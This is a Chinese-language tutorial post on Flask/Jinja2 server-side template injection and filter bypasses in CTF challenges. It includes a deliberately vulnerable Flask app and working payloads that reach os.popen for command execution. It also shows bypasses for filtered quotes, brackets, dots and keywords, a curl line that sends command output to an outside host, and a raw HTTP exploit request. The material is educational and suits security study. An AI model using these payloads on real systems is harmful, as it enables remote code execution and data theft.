前言

一直对模板注入似懂非懂的,打算在这篇文章中深入的研究一下模板注入以及在ctf中bypass的办法。

Learning

什么是模板&模板注入

小学的时候拿别人的好词好句,套在我们自己的作文里,此时我们的作文就相当于模板,而别人的好词好句就相当于传递进模板的内容。

那么什么是模板注入呢,当不正确的使用模板引擎进行渲染时,则会造成模板注入,比如:

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.args.get('404_url'))
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

网上大部分所使用的request.url的方式已经不能导致模板注入了,在最新的flask版本中会自动对request.url进行urlencode,所以我稍微改了一下代码,改成request.args传参就可以了。

在上述代码中,直接将用户可控参数request.args.get('404_url')在模板中直接渲染并传回页面中,这种不正确的渲染方法会产生模板注入(SSTI)。

可以看到,页面直接传回了0而不是{{1-1}}。

How2use

在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti,接下来讲几个知识点。

  • __class__

万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

  • __bases__

以元组的形式返回一个类所直接继承的类。

  • __base__

以字符串返回一个类所直接继承的类。

  • __mro__

返回解析方法调用的顺序。

  • __subclasses__()

获取类的所有子类。

  • __init__

所有自带带类都包含init方法,便于利用他当跳板来调用globals

  • __globals__

function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

在看完上边这些自带方法、成员变量后,可能有点懵,接下来看看是如何利用这些方法以及成员变量达到我们想要的目的的。

在SSTI中,我们要做的无非就两个:

  • 执行命令
  • 获取文件内容

所以我们所做的一切实际上都是在往这两个结果靠拢。

测试代码:

# -*- coding:utf8 -*-
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.args.get('404_url'))
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

当我们访问的页面404时,会从get传递的参数中获取404_url的值并且拼接进模板进行渲染。

接下来看看常规操作:

"".__class__

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。

接下来我们可以通过bases或者mro来获取到object基类。

"".__class__.__bases__

"".__class__.__mro__[1]

接下来获取其所有子类:

"".__class__.__mro__[1].__subclasses__()

我们只需要寻找可能执行命令或者可以读取文件的类就可以了,重点关注os/file这些关键字。

获取到subclasses后,初步看了一下没有能直接执行命令或者获取文件内容的,接下来使用init.globals来看看有没有os module或者其他的可以读写文件的。

{{"".__class__.__mro__[1].__subclasses__()[303].__init__.__globals__}}

这里我用burp来爆破303这个数字,从0爆破到一千,可以发现有很多个内置类都可以使用os这个模块,于是就可以欢乐的执行系统命令了~

最终payload:

{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

Bypass in CTF

当我们需要测试SSTI过滤了什么的时候,可以使用如下payload防止其500:

{{"要测试的字符"}},只需要看看要测试的字符是否返回在页面中即可,下面分别说说对应各种过滤情况的解决办法。

我们首先要知道,过滤了某种字符对我们的影响,接下来再对应寻找payload来利用。

过滤引号

回顾我们上面的payload,哪里使用了引号?

接下来思考对应的解决办法,首先第一个引号的作用是什么,是为了引出基类,而任何数据结构都可以引出基类,所以这里可以直接使用数组代替,所以上述payload就变成了:

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

在fuzz的时候我发现,数据结构可以被替换为数组、字典,以及数字0

再看看后面的引号是用来干嘛的,首先看看.init.globals返回的是什么类型的数据:

所以第一个引号就是获取字典内对应索引的value,这里我们可以使用request.args来绕过此处引号的过滤。

request.args是flask中一个存储着请求参数以及其值的字典,我们可以像这样来引用他:

所以第二个引号的绕过方法即:

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os

后面的所有引号都可以使用该方法进行绕过。

还有另外一种绕过引号的办法,即通过python自带函数来绕过引号,这里使用的是chr()。

首先fuzz一下chr()函数在哪:

payload:

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

通过payload爆破subclasses,获取某个subclasses中含有chr的类索引,可以看到爆破出来很多了,这里我随便选一个。

{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}

接着尝试使用chr尝试绕过后续所有的引号:

{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}

过滤中括号

回看最初的payload,过滤中括号对我们影响最大的是什么,前边两个中括号都是为了从数组中取值,而后续的中括号实际是不必要的,globals["os"]可以替换为globals.os。

所以过滤了中括号实际上影响我们的只有从数组中取值,然而从数组中取值,而从数组中取值可以使用pop/getitem等数组自带方法。

不过还是建议用getitem,因为pop会破坏数组的结构。

a[0]与a.getitem(0)的效果是一样的,所以上述payload可以用此来绕过:

{{"".__class__.__mro__.__getitem__(1).__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

过滤小括号

需要注意的一点是,如果题目过滤了小括号,那么我们就无法执行任何函数了,只能获取一些敏感信息比如题目中的config。

因为如果要执行函数就必须使用小括号来传参,目前我还没找到能够代替小括号进行传参的办法。

过滤关键字

主要看关键字是如何过滤的,如果只是替换为空,可以尝试双写绕过,如果直接ban了,就可以使用字符串合并的方式进行绕过。

使用中括号的payload:

{{""["__cla"+"ss__"]}}

不使用中括号的payload:

{{"".__getattribute__("__cla"+"ss__")}}

这里主要使用了getattribute来获取字典中的value,参数为key值。

第二种绕过过滤关键字的办法之前也提到了,即使用request对象:

{"".__getattribute__(request.args.a)}}&a=__class__

第三种绕过关键字过滤的办法即使用str原生函数:

['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

以上即为str的原生函数,我们可以使用decode、replace等来绕过所过滤的关键字。

模块阉割

在比赛环境中,经常会阉割掉一些内置函数,我们可以尝试使用reload来重载。

在Python2中,reload是内置函数,而在Python3中,reload则为imp module下的函数,使用方法:

测试:

在比赛场景中我们一般是不能直接reload(os)的,因为可能当前类并没有import os。

所以一般都是reload(__builtins__),这时可以重新载入builtins,此时builtins中被删除的比如eval、import等就又都回来了。

reload()主要用于沙盒环境中,比如直接给你提供了一个shell的环境,SSTI中我还没有成功使用过reload()。

过滤{{}}

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

相当于把命令执行的结果外带出去。

过滤点号

在Python环境中(Python2/Python3),我们可以使用访问字典的方式来访问函数/类等。

"".__class__等价于""["__class__"]

利用上述方式,可以绕过点号的过滤,懒得本地复现了,直接丢之前遇到点号过滤的时候绕过的笔记:

POST /?class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ HTTP/1.1
Host: 114.116.44.23:58470
Content-Length: 190
Accept: */*
Origin: http://114.116.44.23:58470
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://114.116.44.23:58470/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

nickname={{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}

总结

基本的过滤也就只有这些了,剩下的待挖掘的其实就只剩下可以命令执行的module了。

参考

SSTI/沙盒逃逸详细总结
Flask/Jinja2模板注入中的一些绕过姿势

点击收藏 | 3 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖